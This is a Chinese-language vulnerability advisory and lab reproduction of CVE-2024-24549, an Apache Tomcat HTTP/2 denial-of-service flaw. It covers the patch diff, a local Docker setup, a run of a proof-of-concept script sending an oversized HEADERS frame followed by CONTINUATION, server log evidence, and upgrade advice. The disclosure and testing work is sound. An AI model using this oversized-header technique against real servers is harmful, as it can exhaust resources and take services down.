跳转至

CVE-2024-24549 — Apache Tomcat HTTP/2 延迟请求头限制校验拒绝服务漏洞

发布于 2026-06-04

拒绝服务攻击——无需认证

未经认证的远程攻击者可通过发送包含超大或超量请求头的 HTTP/2 请求来耗尽服务器资源。服务器必须完整解析整个请求头块后才能拒绝该流,而非在检测到超限时立即停止处理。

字段
项目 Apache Tomcat
严重级别 HIGH
CVSS v3.1 7.5 HIGH (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
CWE CWE-20(输入验证不当)
受影响版本 8.5.0–8.5.98、9.0.0-M1–9.0.85、10.1.0-M1–10.1.18、11.0.0-M1–11.0.0-M16
修复版本 8.5.99、9.0.86、10.1.19、11.0.0-M17
GHSA GHSA-7w75-32cg-r6g2

1. 漏洞概述

Apache Tomcat 是一个广泛部署的 Java Servlet 容器,在支持 HTTP/1.1 的同时也支持 HTTP/2。当客户端发送 HTTP/2 请求时,请求头可能分布在多个帧中:一个 HEADERS 帧(可能不包含 END_HEADERS 标志),之后跟随一个或多个 CONTINUATION 帧。Tomcat 通过连接器配置 maxHttpHeaderSizemaxHeaderCount 来限制请求头的总大小和数量。

CVE-2024-24549 是一个拒绝服务漏洞,根源在于限制校验的时机不当。能够访问 HTTP/2 监听器的攻击者可以发送一个请求头块,将其拆分到一个 HEADERS 帧和一个或多个 CONTINUATION 帧中,使单个 HEADERS 帧已足以超出配置的限制。Tomcat 将限制检查推迟到请求头块末尾——等到所有 CONTINUATION 帧完全读取并经过 HPACK 解码之后——因此服务器被迫缓冲并处理超限块的每一个字节,才能发出流重置信号。在大量并发流或连接的场景下,这会导致资源耗尽。无需认证;HTTP/2 必须处于启用状态(在使用 NIO2/APR 连接器的 Tomcat 中默认启用)。

根本原因

文件: java/org/apache/coyote/http2/Http2Parser.java 函数: readHeadersFrame()readContinuationFrame()onHeadersComplete()

在存在漏洞的版本中,validateHeaders() 仅在 onHeadersComplete() 中被调用一次,而该方法只有在请求头块的最后一帧(携带 END_HEADERS 的帧)被消费后才会执行。原始代码中的注释表明这是有意为之,理由是认为 HTTP/2 规范要求接收方在拒绝请求之前必须读取(吞掉)请求头块中的所有帧:

// BEFORE (in onHeadersComplete — called only after ALL header frames received)
private void onHeadersComplete(int streamId) throws Http2Exception {
    // ...
    // Delay validation (and triggering any exception) until this point
    // since all the headers still have to be read if a StreamException is
    // going to be thrown.
    hpackDecoder.getHeaderEmitter().validateHeaders();   // <-- deferred to end

    output.headersEnd(streamId, headersEndStream);
    // ...
}

修复方案将 validateHeaders() 移至每个单独帧的末尾调用:在 readHeadersFrame 完成吞掉填充数据后立即调用,在每个 readContinuationFrame 完成读取负载后再次调用。若在请求头块中途检测到超限,流现在会在帧边界处被重置,而非等到整个块处理完毕。修正后的注释也明确说明,HTTP/2 规范实际上允许接收方在请求头块中的任意单个帧之后发送 RST_STREAM;原有的"必须先读取所有帧"的认识是错误的。

// AFTER — in readHeadersFrame(), after swallowPayload():
swallowPayload(streamId, FrameType.HEADERS.getId(), padLength, true);

// Validate the headers so far
hpackDecoder.getHeaderEmitter().validateHeaders();      // <-- early check added

if (Flags.isEndOfHeaders(flags)) {
    onHeadersComplete(streamId);
} else { ...

// AFTER — in readContinuationFrame(), after readHeaderPayload():
readHeaderPayload(streamId, payloadSize);

// Validate the headers so far
hpackDecoder.getHeaderEmitter().validateHeaders();      // <-- early check added

if (endOfHeaders) {
    headersCurrentStream = -1;
    onHeadersComplete(streamId);
    ...

// AFTER — removed from onHeadersComplete():
-       // Delay validation (and triggering any exception) until this point
-       // since all the headers still have to be read if a StreamException is
-       // going to be thrown.
-       hpackDecoder.getHeaderEmitter().validateHeaders();

2. 漏洞复现环境

复现环境使用官方未经修改的 tomcat:10.1.18-jdk17-temurin-jammy Docker 镜像运行单个容器。Tomcat 10.1.18 处于受影响范围(10.1.0-M1 至 10.1.18)内,包含存在漏洞的 Http2Parser 代码。镜像不作任何源码修改,仅通过挂载两个配置文件来建立验证所需的诊断条件。

下载完整环境包:env.zip

独立文件:

环境拓扑

组件 详情
容器 cve-2024-24549-tomcat(镜像 tomcat:10.1.18-jdk17-temurin-jammy
协议 HTTP/1.1 + HTTP/2 明文(h2c),共用同一端口
暴露端口 127.0.0.1:8080 → 容器 8080
传输层 无 TLS,无 ALPN;通过 HTTP/2 先验知识(prior-knowledge)前导码使用 h2c
认证 无需认证

env/config/server.xml 在端口 8080 上配置了一个 NIO 连接器,设置 maxHttpHeaderSize="8192"(8 KB),同一端口上附加 Http2Protocol 升级协议,maxHeaderCount="20"。HTTP/2 解析器从所属连接器继承请求头大小限制,因此两个限制均较为保守且无歧义:超过 8 KB 的请求头块或包含超过 20 个请求头的请求均属超限。环境中没有上游代理或其他会预先校验、规范化请求头的组件。

env/config/logging.propertiesorg.apache.coyote.http2 日志记录器级别提升至 FINE(调试级别)。这样一来,Http2UpgradeHandler 在流被拒绝时会将完整的 StreamException 及其堆栈跟踪同时输出到容器标准输出和 Catalina 日志文件中。这两个输出均由服务器控制,与漏洞利用进程无关,构成确认漏洞行为的诊断通道。

启动环境

docker compose -f env/docker-compose.yml up -d

等待健康检查通过(最多 60 秒,每 5 秒轮询一次),然后确认版本和 h2c 是否就绪:

docker inspect -f '{{.State.Health.Status}}' cve-2024-24549-tomcat
# expect: healthy

curl -s --http2-prior-knowledge -o /dev/null \
  -w 'http_version=%{http_version} code=%{response_code}\n' \
  http://127.0.0.1:8080/
# expect: http_version=2 code=404

code=404 是预期结果——没有部署任何 Web 应用程序。关键是 http_version=2 确认了 h2c 协商成功,HTTP/2 解析器(包括存在漏洞的代码路径)处于活跃状态。

确认诊断通道正在输出 HTTP/2 级别的日志:

docker logs cve-2024-24549-tomcat 2>&1 | grep -c org.apache.coyote.http2
# expect: > 0

3. 漏洞利用方法

漏洞利用脚本发送一个 HTTP/2 流,其请求头块被故意拆分到两个帧:一个不带 END_HEADERS 的 HEADERS 帧(已超出 8192 字节限制),短暂暂停后再发送一个带 END_HEADERS 的 CONTINUATION 帧。在存在漏洞的版本上,服务器会读取并 HPACK 解码这两个帧后才重置流。在已修复的版本上,流在 HEADERS 帧之后立即被重置,CONTINUATION 帧不会被消费。

概念验证脚本 exploit/h2_continuation_dos.py 仅使用 Python 标准库手动构造 HTTP/2 帧,无需任何外部依赖。下载完整漏洞利用包:exploit.zip

步骤一——建立干净的基线

运行漏洞利用之前,先确认当前尚无流错误:

docker logs cve-2024-24549-tomcat 2>&1 | grep -cE 'StreamException|Closed due to error'
# expect: 0

步骤二——运行漏洞利用脚本

python3 exploit/h2_continuation_dos.py 127.0.0.1 8080 0.5

三个参数分别为:目标主机、端口,以及 HEADERS 帧和 CONTINUATION 帧之间的暂停秒数(0.5 秒可使帧边界在服务器日志时间戳中清晰可辨)。脚本将其发送和接收的帧输出到标准错误,供诊断参考;但成功与否的判定依据来自服务器日志,而非脚本输出。

脚本的诊断输出类似如下:

[*] connected to 127.0.0.1:8080
[*] sent preface + SETTINGS + SETTINGS ACK
[*] sent HEADERS (no END_HEADERS) stream=1 junk_header_value_bytes=12000 payload_len=12231
[*] sent CONTINUATION (END_HEADERS) AFTER the over-limit HEADERS frame
[recv] frame=SETTINGS flags=0x00 stream=0 len=18
[recv] frame=SETTINGS flags=0x01 stream=0 len=0
[recv] frame=RST_STREAM flags=0x00 stream=1 len=4 error_code=11
[*] done

步骤三——读取服务器端证据

决定性证据来自服务器自身的诊断通道(Docker 日志),而非漏洞利用脚本的标准输出。漏洞利用完成后立即读取:

docker logs cve-2024-24549-tomcat 2>&1 | \
  grep -E 'Frame type \[HEADERS\]|Frame type \[CONTINUATION\]|swallowPayload|Closed due to error|StreamException|readHeaderPayload.*payload of size' | tail -8

漏洞成功触发的证明

服务器日志记录了流 1 上的完整事件序列。关键的可观测点不是流最终被拒绝,而是重置发生在哪个帧之后——这才是区分漏洞版本与已修复版本行为的判别依据。

本次运行在连接 [6] 上产生的日志呈现出以下事件序列:

时间 服务器日志事件 含义
04:34:43.474 Http2Parser.validateFrame ... Frame type [HEADERS], Flags [0], Payload size [12231] 收到超限 HEADERS 帧(12231 > 8192 限制),无 END_HEADERS
04:34:43.475 readHeaderPayload ... Processing headers payload of size [12,231] 完整 HEADERS 块被读取并进行 HPACK 解码
04:34:43.475–.477 Stream.emitHeader ... x-junk-00 .. x-junk-07(全部垃圾请求头) 超限块中的每个请求头均被解码
04:34:43.478 Http2Parser.swallowPayload ... Swallowed [0] bytes 然后 upgradeDispatch Exit ... SocketState [ASYNC_IO] HEADERS 帧处理完毕——处理程序返回等待更多帧,未发出任何重置
04:34:44.123 validateFrame ... Frame type [CONTINUATION], Flags [4], Payload size [217] + readHeaderPayload ... size [217] 服务器消费了在超限已发生 0.645 秒后才发送的 CONTINUATION 帧
04:34:44.124 Http2UpgradeHandler.upgradeDispatch ... Stream [1] Closed due to error 流重置仅在此时触发
04:34:44.125 sendStreamReset ... Error [ENHANCE_YOUR_CALM], Message [... Total header size too big] RST_STREAM 在 END_HEADERS 时或之后发出

日志中的 StreamException 堆栈跟踪显示,异常对象是在处理 HEADERS 帧期间构造的(Http2Parser.java:543,由 readHeadersFrame 第 282 行调用),而实际的流重置(Closed due to error)却发生在半秒多之后的 CONTINUATION 帧分发阶段。由于 Java 在对象构造时记录堆栈,这种"HEADERS 帧时构造异常、CONTINUATION 帧后才重置"的分裂现象直接证明了延迟校验代码路径的存在:异常被暂存,在 onHeadersComplete() 内部才重新抛出。

org.apache.coyote.http2.StreamException: Connection [6], Stream [1], Total header size too big
    at org.apache.coyote.http2.Http2Parser.readHeaderPayload(Http2Parser.java:543)
    at org.apache.coyote.http2.Http2Parser.readHeadersFrame(Http2Parser.java:282)
    ...

已修复的版本(10.1.19 及以上)会在 readHeadersFrame 末尾调用 validateHeaders(),在 04:34:43.478 处发出重置,日志中不会出现任何 Frame type [CONTINUATION] 行。对已修复服务器运行相同的脚本,不会有任何 CONTINUATION 帧被处理——这是将上述行为归因于本漏洞的依据。

环境清理

测试完成后,停止并移除容器及其网络:

docker compose -f env/docker-compose.yml down -v

4. 安全建议

修复方案

将 Apache Tomcat 升级到包含修复的版本:

分支 最低安全版本
8.5.x 8.5.99
9.0.x 9.0.86
10.1.x 10.1.19
11.0.x 11.0.0-M17

修复方案将 validateHeaders()onHeadersComplete() 移至 readHeadersFrame()readContinuationFrame() 中,使其在每个单独帧末尾运行,而非在整个请求头块末尾运行。该修复无需任何配置变更,完全体现在已修复的二进制文件中。

缓解措施与临时方案

如果无法立即升级,可考虑以下措施:

  • 禁用 HTTP/2。server.xml 中移除 <UpgradeProtocol className="org.apache.coyote.http2.Http2Protocol" .../> 元素。该漏洞特定于 HTTP/2 解析器,HTTP/1.1 不受影响。此措施可完全消除攻击面,代价是失去 HTTP/2 功能。
  • 降低请求头限制。 降低 maxHttpHeaderSizemaxHeaderCount 并不能阻止攻击,但可以减少服务器在拒绝每个流之前必须处理的数据量,降低单流开销;延迟校验逻辑本身不受影响。
  • 在前端部署反向代理或进行速率限制。 在 Tomcat 前放置终止 HTTP/2 连接的反向代理或 WAF,可降低暴露面,具体效果取决于该组件自身的 HTTP/2 处理方式。

以上措施均不能消除底层漏洞,升级是唯一根本性的修复方式。

参考资料